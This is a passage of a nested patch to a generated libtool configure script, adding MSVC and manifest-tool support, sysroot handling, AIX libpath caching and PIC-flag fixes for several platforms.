++lt_cv_sys_global_symbol_to_c_name_address_lib_prefix="sed -n -e 's/^: \([^ ]*\)[ ]*$/ {\\\"\1\\\", (void *) 0},/p' -e 's/^$symcode* \([^ ]*\) \(lib[^ ]*\)$/ {\"\2\", (void *) \&\2},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"lib\2\", (void *) \&\2},/p'"
+
+ # Handle CRLF in mingw tool chain
+ opt_cr=
+@@ -5969,6 +6284,7 @@ for ac_symprfx in "" "_"; do
+ else
+ lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
+ fi
++ lt_cv_sys_global_symbol_pipe="$lt_cv_sys_global_symbol_pipe | sed '/ __gnu_lto/d'"
+
+ # Check to see that the pipe works correctly.
+ pipe_works=no
+@@ -6010,6 +6326,18 @@ _LT_EOF
+ if $GREP ' nm_test_var$' "$nlist" >/dev/null; then
+ if $GREP ' nm_test_func$' "$nlist" >/dev/null; then
+ cat <<_LT_EOF > conftest.$ac_ext
++/* Keep this code in sync between libtool.m4, ltmain, lt_system.h, and tests. */
++#if defined(_WIN32) || defined(__CYGWIN__) || defined(_WIN32_WCE)
++/* DATA imports from DLLs on WIN32 con't be const, because runtime
++ relocations are performed -- see ld's documentation on pseudo-relocs. */
++# define LT_DLSYM_CONST
++#elif defined(__osf__)
++/* This system does not cope well with relocations in const data. */
++# define LT_DLSYM_CONST
++#else
++# define LT_DLSYM_CONST const
++#endif
++
+ #ifdef __cplusplus
+ extern "C" {
+ #endif
+@@ -6021,7 +6349,7 @@ _LT_EOF
+ cat <<_LT_EOF >> conftest.$ac_ext
+
+ /* The mapping between symbol names and symbols. */
+-const struct {
++LT_DLSYM_CONST struct {
+ const char *name;
+ void *address;
+ }
+@@ -6047,8 +6375,8 @@ static const void *lt_preloaded_setup() {
+ _LT_EOF
+ # Now try linking the two files.
+ mv conftest.$ac_objext conftstm.$ac_objext
+- lt_save_LIBS="$LIBS"
+- lt_save_CFLAGS="$CFLAGS"
++ lt_globsym_save_LIBS=$LIBS
++ lt_globsym_save_CFLAGS=$CFLAGS
+ LIBS="conftstm.$ac_objext"
+ CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
+ if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
+@@ -6058,8 +6386,8 @@ _LT_EOF
+ test $ac_status = 0; } && test -s conftest${ac_exeext}; then
+ pipe_works=yes
+ fi
+- LIBS="$lt_save_LIBS"
+- CFLAGS="$lt_save_CFLAGS"
++ LIBS=$lt_globsym_save_LIBS
++ CFLAGS=$lt_globsym_save_CFLAGS
+ else
+ echo "cannot find nm_test_func in $nlist" >&5
+ fi
+@@ -6096,6 +6424,17 @@ else
+ $as_echo "ok" >&6; }
+ fi
+
++# Response file support.
++if test "$lt_cv_nm_interface" = "MS dumpbin"; then
++ nm_file_list_spec='@'
++elif $NM --help 2>/dev/null | grep '[@]FILE' >/dev/null; then
++ nm_file_list_spec='@'
++fi
++
++
++
++
++
+
+
+
+@@ -6113,6 +6452,43 @@ fi
+
+
+
++
++
++
++
++
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for sysroot" >&5
++$as_echo_n "checking for sysroot... " >&6; }
++
++# Check whether --with-libtool-sysroot was given.
++if test "${with_libtool_sysroot+set}" = set; then :
++ withval=$with_libtool_sysroot;
++else
++ with_libtool_sysroot=no
++fi
++
++
++lt_sysroot=
++case ${with_libtool_sysroot} in #(
++ yes)
++ if test "$GCC" = yes; then
++ lt_sysroot=`$CC --print-sysroot 2>/dev/null`
++ fi
++ ;; #(
++ /*)
++ lt_sysroot=`echo "$with_libtool_sysroot" | sed -e "$sed_quote_subst"`
++ ;; #(
++ no|'')
++ ;; #(
++ *)
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${with_libtool_sysroot}" >&5
++$as_echo "${with_libtool_sysroot}" >&6; }
++ as_fn_error $? "The sysroot must be an absolute path." "$LINENO" 5
++ ;;
++esac
++
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: ${lt_sysroot:-no}" >&5
++$as_echo "${lt_sysroot:-no}" >&6; }
+
+
+
+@@ -6327,6 +6703,123 @@ esac
+
+ need_locks="$enable_libtool_lock"
+
++if test -n "$ac_tool_prefix"; then
++ # Extract the first word of "${ac_tool_prefix}mt", so it can be a program name with args.
++set dummy ${ac_tool_prefix}mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$MANIFEST_TOOL"; then
++ ac_cv_prog_MANIFEST_TOOL="$MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_MANIFEST_TOOL="${ac_tool_prefix}mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++MANIFEST_TOOL=$ac_cv_prog_MANIFEST_TOOL
++if test -n "$MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $MANIFEST_TOOL" >&5
++$as_echo "$MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++
++fi
++if test -z "$ac_cv_prog_MANIFEST_TOOL"; then
++ ac_ct_MANIFEST_TOOL=$MANIFEST_TOOL
++ # Extract the first word of "mt", so it can be a program name with args.
++set dummy mt; ac_word=$2
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
++$as_echo_n "checking for $ac_word... " >&6; }
++if ${ac_cv_prog_ac_ct_MANIFEST_TOOL+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test -n "$ac_ct_MANIFEST_TOOL"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="$ac_ct_MANIFEST_TOOL" # Let the user override the test.
++else
++as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
++for as_dir in $PATH
++do
++ IFS=$as_save_IFS
++ test -z "$as_dir" && as_dir=.
++ for ac_exec_ext in '' $ac_executable_extensions; do
++ if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
++ ac_cv_prog_ac_ct_MANIFEST_TOOL="mt"
++ $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
++ break 2
++ fi
++done
++ done
++IFS=$as_save_IFS
++
++fi
++fi
++ac_ct_MANIFEST_TOOL=$ac_cv_prog_ac_ct_MANIFEST_TOOL
++if test -n "$ac_ct_MANIFEST_TOOL"; then
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_MANIFEST_TOOL" >&5
++$as_echo "$ac_ct_MANIFEST_TOOL" >&6; }
++else
++ { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
++$as_echo "no" >&6; }
++fi
++
++ if test "x$ac_ct_MANIFEST_TOOL" = x; then
++ MANIFEST_TOOL=":"
++ else
++ case $cross_compiling:$ac_tool_warned in
++yes:)
++{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
++$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
++ac_tool_warned=yes ;;
++esac
++ MANIFEST_TOOL=$ac_ct_MANIFEST_TOOL
++ fi
++else
++ MANIFEST_TOOL="$ac_cv_prog_MANIFEST_TOOL"
++fi
++
++test -z "$MANIFEST_TOOL" && MANIFEST_TOOL=mt
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $MANIFEST_TOOL is a manifest tool" >&5
++$as_echo_n "checking if $MANIFEST_TOOL is a manifest tool... " >&6; }
++if ${lt_cv_path_mainfest_tool+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_path_mainfest_tool=no
++ echo "$as_me:$LINENO: $MANIFEST_TOOL '-?'" >&5
++ $MANIFEST_TOOL '-?' 2>conftest.err > conftest.out
++ cat conftest.err >&5
++ if $GREP 'Manifest Tool' conftest.out > /dev/null; then
++ lt_cv_path_mainfest_tool=yes
++ fi
++ rm -f conftest*
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_path_mainfest_tool" >&5
++$as_echo "$lt_cv_path_mainfest_tool" >&6; }
++if test "x$lt_cv_path_mainfest_tool" != xyes; then
++ MANIFEST_TOOL=:
++fi
++
++
++
++
++
+
+ case $host_os in
+ rhapsody* | darwin*)
+@@ -6893,6 +7386,8 @@ _LT_EOF
+ $LTCC $LTCFLAGS -c -o conftest.o conftest.c 2>&5
+ echo "$AR cru libconftest.a conftest.o" >&5
+ $AR cru libconftest.a conftest.o 2>&5
++ echo "$RANLIB libconftest.a" >&5
++ $RANLIB libconftest.a 2>&5
+ cat > conftest.c << _LT_EOF
+ int main() { return 0;}
+ _LT_EOF
+@@ -7744,8 +8239,6 @@ fi
+ lt_prog_compiler_pic=
+ lt_prog_compiler_static=
+
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
+-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+
+ if test "$GCC" = yes; then
+ lt_prog_compiler_wl='-Wl,'
+@@ -7911,6 +8404,12 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='--shared'
+ lt_prog_compiler_static='--static'
+ ;;
++ nagfor*)
++ # NAG Fortran compiler
++ lt_prog_compiler_wl='-Wl,-Wl,,'
++ lt_prog_compiler_pic='-PIC'
++ lt_prog_compiler_static='-Bstatic'
++ ;;
+ pgcc* | pgf77* | pgf90* | pgf95* | pgfortran*)
+ # Portland Group compilers (*not* the Pentium gcc compiler,
+ # which looks to be a dead project)
+@@ -7973,7 +8472,7 @@ $as_echo_n "checking for $compiler option to produce PIC... " >&6; }
+ lt_prog_compiler_pic='-KPIC'
+ lt_prog_compiler_static='-Bstatic'
+ case $cc_basename in
+- f77* | f90* | f95*)
++ f77* | f90* | f95* | sunf77* | sunf90* | sunf95*)
+ lt_prog_compiler_wl='-Qoption ld ';;
+ *)
+ lt_prog_compiler_wl='-Wl,';;
+@@ -8030,13 +8529,17 @@ case $host_os in
+ lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC"
+ ;;
+ esac
+-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic" >&5
+-$as_echo "$lt_prog_compiler_pic" >&6; }
+-
+-
+-
+-
+
++{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
++$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
++if ${lt_cv_prog_compiler_pic+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ lt_cv_prog_compiler_pic=$lt_prog_compiler_pic
++fi
++{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_pic" >&5
++$as_echo "$lt_cv_prog_compiler_pic" >&6; }
++lt_prog_compiler_pic=$lt_cv_prog_compiler_pic
+
+ #
+ # Check to make sure the PIC flag actually works.
+@@ -8097,6 +8600,11 @@ fi
+
+
+
++
++
++
++
++
+ #
+ # Check to make sure the static flag actually works.
+ #
+@@ -8447,7 +8955,8 @@ _LT_EOF
+ allow_undefined_flag=unsupported
+ always_export_symbols=no
+ enable_shared_with_static_runtimes=yes
+- export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1 DATA/;s/^.*[ ]__nm__\([^ ]*\)[ ][^ ]*/\1 DATA/;/^I[ ]/d;/^[AITW][ ]/s/.* //'\'' | sort | uniq > $export_symbols'
++ exclude_expsyms='[_]+GLOBAL_OFFSET_TABLE_|[_]+GLOBAL__[FID]_.*|[_]+head_[A-Za-z0-9_]+_dll|[A-Za-z0-9_]+_dll_iname'
+
+ if $LD --help 2>&1 | $GREP 'auto-import' > /dev/null; then
+ archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
+@@ -8546,12 +9055,12 @@ _LT_EOF
+ whole_archive_flag_spec='--whole-archive$convenience --no-whole-archive'
+ hardcode_libdir_flag_spec=
+ hardcode_libdir_flag_spec_ld='-rpath $libdir'
+- archive_cmds='$LD -shared $libobjs $deplibs $compiler_flags -soname $soname -o $lib'
++ archive_cmds='$LD -shared $libobjs $deplibs $linker_flags -soname $soname -o $lib'
+ if test "x$supports_anon_versioning" = xyes; then
+ archive_expsym_cmds='echo "{ global:" > $output_objdir/$libname.ver~
+ cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~
+ echo "local: *; };" >> $output_objdir/$libname.ver~
+- $LD -shared $libobjs $deplibs $compiler_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
++ $LD -shared $libobjs $deplibs $linker_flags -soname $soname -version-script $output_objdir/$libname.ver -o $lib'
+ fi
+ ;;
+ esac
+@@ -8565,8 +9074,8 @@ _LT_EOF
+ archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib'
+ wlarc=
+ else
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ fi
+ ;;
+
+@@ -8584,8 +9093,8 @@ _LT_EOF
+
+ _LT_EOF
+ elif $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8631,8 +9140,8 @@ _LT_EOF
+
+ *)
+ if $LD --help 2>&1 | $GREP ': supported targets:.* elf' > /dev/null; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
++ archive_expsym_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib'
+ else
+ ld_shlibs=no
+ fi
+@@ -8762,7 +9271,13 @@ _LT_EOF
+ allow_undefined_flag='-berok'
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- if test x$gcc_no_link = xyes; then
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test x$gcc_no_link = xyes; then
+ as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
+ fi
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+@@ -8778,22 +9293,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ archive_expsym_cmds='$CC -o $output_objdir/$soname $libobjs $deplibs '"\${wl}$no_entry_flag"' $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then func_echo_all "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$exp_sym_flag:\$export_symbols $shared_flag"
+@@ -8805,7 +9327,13 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ else
+ # Determine the default libpath from the value encoded in an
+ # empty executable.
+- if test x$gcc_no_link = xyes; then
++ if test "${lt_cv_aix_libpath+set}" = set; then
++ aix_libpath=$lt_cv_aix_libpath
++else
++ if ${lt_cv_aix_libpath_+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ if test x$gcc_no_link = xyes; then
+ as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
+ fi
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+@@ -8821,22 +9349,29 @@ main ()
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+
+-lt_aix_libpath_sed='
+- /Import File Strings/,/^$/ {
+- /^0/ {
+- s/^0 *\(.*\)$/\1/
+- p
+- }
+- }'
+-aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-# Check for a 64-bit object if we didn't find anything.
+-if test -z "$aix_libpath"; then
+- aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
+-fi
++ lt_aix_libpath_sed='
++ /Import File Strings/,/^$/ {
++ /^0/ {
++ s/^0 *\([^ ]*\) *$/\1/
++ p
++ }
++ }'
++ lt_cv_aix_libpath_=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ # Check for a 64-bit object if we didn't find anything.
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e "$lt_aix_libpath_sed"`
++ fi
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+-if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
++ if test -z "$lt_cv_aix_libpath_"; then
++ lt_cv_aix_libpath_="/usr/lib:/lib"
++ fi
++
++fi
++
++ aix_libpath=$lt_cv_aix_libpath_
++fi
+
+ hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath"
+ # Warning - without using the other run time loading flags,
+@@ -8881,20 +9416,63 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ # Microsoft Visual C++.
+ # hardcode_libdir_flag_spec is actually meaningless, as there is
+ # no search path for DLLs.
+- hardcode_libdir_flag_spec=' '
+- allow_undefined_flag=unsupported
+- # Tell ltmain to make .lib files, not .a files.
+- libext=lib
+- # Tell ltmain to make .dll files, not .so files.
+- shrext_cmds=".dll"
+- # FIXME: Setting linknames here is a bad hack.
+- archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
+- # The linker will automatically build a .lib file if we build a DLL.
+- old_archive_from_new_cmds='true'
+- # FIXME: Should let the user specify the lib program.
+- old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
+- fix_srcfile_path='`cygpath -w "$srcfile"`'
+- enable_shared_with_static_runtimes=yes
++ case $cc_basename in
++ cl*)
++ # Native MSVC
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ always_export_symbols=yes
++ file_list_spec='@'
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $output_objdir/$soname $libobjs $compiler_flags $deplibs -Wl,-dll~linknames='
++ archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
++ sed -n -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' -e '1\\\!p' < $export_symbols > $output_objdir/$soname.exp;
++ else
++ sed -e 's/\\\\\\\(.*\\\\\\\)/-link\\\ -EXPORT:\\\\\\\1/' < $export_symbols > $output_objdir/$soname.exp;
++ fi~
++ $CC -o $tool_output_objdir$soname $libobjs $compiler_flags $deplibs "@$tool_output_objdir$soname.exp" -Wl,-DLL,-IMPLIB:"$tool_output_objdir$libname.dll.lib"~
++ linknames='
++ # The linker will not automatically build a static lib if we build a DLL.
++ # _LT_TAGVAR(old_archive_from_new_cmds, )='true'
++ enable_shared_with_static_runtimes=yes
++ export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS][ ]/s/.*[ ]\([^ ]*\)/\1,DATA/'\'' | $SED -e '\''/^[AITW][ ]/s/.*[ ]//'\'' | sort | uniq > $export_symbols'
++ # Don't use ranlib
++ old_postinstall_cmds='chmod 644 $oldlib'
++ postlink_cmds='lt_outputfile="@OUTPUT@"~
++ lt_tool_outputfile="@TOOL_OUTPUT@"~
++ case $lt_outputfile in
++ *.exe|*.EXE) ;;
++ *)
++ lt_outputfile="$lt_outputfile.exe"
++ lt_tool_outputfile="$lt_tool_outputfile.exe"
++ ;;
++ esac~
++ if test "$MANIFEST_TOOL" != ":" && test -f "$lt_outputfile.manifest"; then
++ $MANIFEST_TOOL -manifest "$lt_tool_outputfile.manifest" -outputresource:"$lt_tool_outputfile" || exit 1;
++ $RM "$lt_outputfile.manifest";
++ fi'
++ ;;
++ *)
++ # Assume MSVC wrapper
++ hardcode_libdir_flag_spec=' '
++ allow_undefined_flag=unsupported
++ # Tell ltmain to make .lib files, not .a files.
++ libext=lib
++ # Tell ltmain to make .dll files, not .so files.
++ shrext_cmds=".dll"
++ # FIXME: Setting linknames here is a bad hack.
++ archive_cmds='$CC -o $lib $libobjs $compiler_flags `func_echo_all "$deplibs" | $SED '\''s/ -lc$//'\''` -link -dll~linknames='
++ # The linker will automatically build a .lib file if we build a DLL.
++ old_archive_from_new_cmds='true'
++ # FIXME: Should let the user specify the lib program.
++ old_archive_cmds='lib -OUT:$oldlib$oldobjs$old_deplibs'
++ enable_shared_with_static_runtimes=yes
++ ;;
++ esac
+ ;;
+
+ darwin* | rhapsody*)
+@@ -8955,7 +9533,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ # FreeBSD 3 and greater uses gcc -shared to do shared libraries.
+ freebsd* | dragonfly*)
+- archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
+ hardcode_libdir_flag_spec='-R$libdir'
+ hardcode_direct=yes
+ hardcode_shlibpath_var=no
+@@ -8963,7 +9541,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux9*)
+ if test "$GCC" = yes; then
+- archive_cmds='$RM $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
++ archive_cmds='$RM $output_objdir/$soname~$CC -shared $pic_flag ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ else
+ archive_cmds='$RM $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
+ fi
+@@ -8979,7 +9557,7 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+
+ hpux10*)
+ if test "$GCC" = yes && test "$with_gnu_ld" = no; then
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ else
+ archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
+ fi
+@@ -9003,10 +9581,10 @@ if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi
+ archive_cmds='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ ia64*)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ *)
+- archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
++ archive_cmds='$CC -shared $pic_flag ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
+ ;;
+ esac
+ else
+@@ -9085,26 +9663,39 @@ fi
+
+ irix5* | irix6* | nonstopux*)
+ if test "$GCC" = yes; then
+- archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
++ archive_cmds='$CC -shared $pic_flag $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
+ # Try to use the -exported_symbol ld option, if it does not
+ # work, assume that -exports_file does not work either and
+ # implicitly export all symbols.
+- save_LDFLAGS="$LDFLAGS"
+- LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
+- if test x$gcc_no_link = xyes; then
++ # This should be the same for all languages, so no per-tag cache variable.
++ { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $host_os linker accepts -exported_symbol" >&5
++$as_echo_n "checking whether the $host_os linker accepts -exported_symbol... " >&6; }
++if ${lt_cv_irix_exported_symbol+:} false; then :
++ $as_echo_n "(cached) " >&6
++else
++ save_LDFLAGS="$LDFLAGS"
++ LDFLAGS="$LDFLAGS -shared ${wl}-exported_symbol ${wl}foo ${wl}-update_registry ${wl}/dev/null"
++ if test x$gcc_no_link = xyes; then
+ as_fn_error $? "Link tests are not allowed after GCC_NO_EXECUTABLES." "$LINENO" 5
+ fi
+ cat confdefs.h - <<_ACEOF >conftest.$ac_ext
+ /* end confdefs.h. */
+-int foo(void) {}
++int foo (void) { return 0; }
+ _ACEOF
+ if ac_fn_c_try_link "$LINENO"; then :
+- archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && func_echo_all "${wl}-set_version ${wl}$verstring"` ${wl}-update_registry ${wl}${output_objdir}/so_locations ${wl}-exports_file ${wl}$export_symbols -o $lib'
+-
++ lt_cv_irix_exported_symbol=yes
++else
++ lt_cv_irix_exported_symbol=no
+ fi
+ rm -f core conftest.err conftest.$ac_objext \
+ conftest$ac_exeext conftest.$ac_ext
+- LDFLAGS="$save_LDFLAGS"
